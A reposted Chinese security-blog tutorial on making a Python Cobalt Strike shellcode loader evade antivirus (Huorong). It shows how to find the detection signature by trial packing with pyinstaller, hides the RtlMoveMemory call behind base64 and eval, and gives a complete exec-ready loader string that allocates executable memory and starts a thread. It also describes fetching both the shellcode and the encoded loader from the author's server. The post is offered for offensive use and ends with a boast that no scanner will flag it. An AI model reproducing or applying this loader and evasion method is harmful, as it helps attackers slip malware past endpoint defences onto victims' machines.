CS免杀-分离+混淆免杀思路

  • A+
所属分类:安全文章
混淆语句+分离免杀

特征码
杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。
但是呢程序的内容只要稍微微改动一点,md5值就会改变

所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理
loader加载器


这是网上python通用的shellcode loader
加载器原理请看这CS免杀-Shellcode Loader原理(python)
这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
CS免杀-分离+混淆免杀思路
接下来就通过单步走找出特征码
我使用的pyinstaller将程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加载器没任何处理,进行打包是会被火绒查杀的
CS免杀-分离+混淆免杀思路

单步查杀
我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀
CS免杀-分离+混淆免杀思路

然后每次打包增加一条语句,直到发现进行了查杀
CS免杀-分离+混淆免杀思路

该语句删除,其他的全部打包,发现不报病毒了
CS免杀-分离+混淆免杀思路

找到特征码
到这我们可以确定,这段代码中包含着火绒的特征码
这是调用win的操作内存的语句
ctypes.windll.kernel32.RtlMoveMemory(          ctypes.c_int(ptr),          buf,          ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。

深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀
所以确定RltMoveMemory这段字符就是特征码
CS免杀-分离+混淆免杀思路
知道了特征码是啥,那就将它进行处理

混淆语句
有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀

另一种思路就是该字符明面上不出现在语句当中
直接将整个语句加密,用evalexec函数运行
CS免杀-分离+混淆免杀思路
将上面语句base64转码,eval运行解码的语句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''eval(base64.b64decode(string))
明面上没有特征码了,所以就绕过火绒了
CS免杀-分离+混淆免杀思路
这里的话基本是够用了。
但是!!


既然shellcode能放在服务器上,那我们的loader是否也可以尝试一下。。

这里eval函数不够用了,只能运行一条语句
换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
尝试可行
进行base64编码,放在我的服务器2.txt文件中
CS免杀-分离+混淆免杀思路
最后查杀代码部分就剩这点了
CS免杀-分离+混淆免杀思路
CS免杀-分离+混淆免杀思路

CS免杀-分离+混淆免杀思路

只要你服务器不被标记恶意主机
今就是天王老子来了也不敢说他是木马!!



只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?


推 荐 阅 读




CS免杀-分离+混淆免杀思路
CS免杀-分离+混淆免杀思路
CS免杀-分离+混淆免杀思路

本文始发于微信公众号(潇湘信安):CS免杀-分离+混淆免杀思路

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: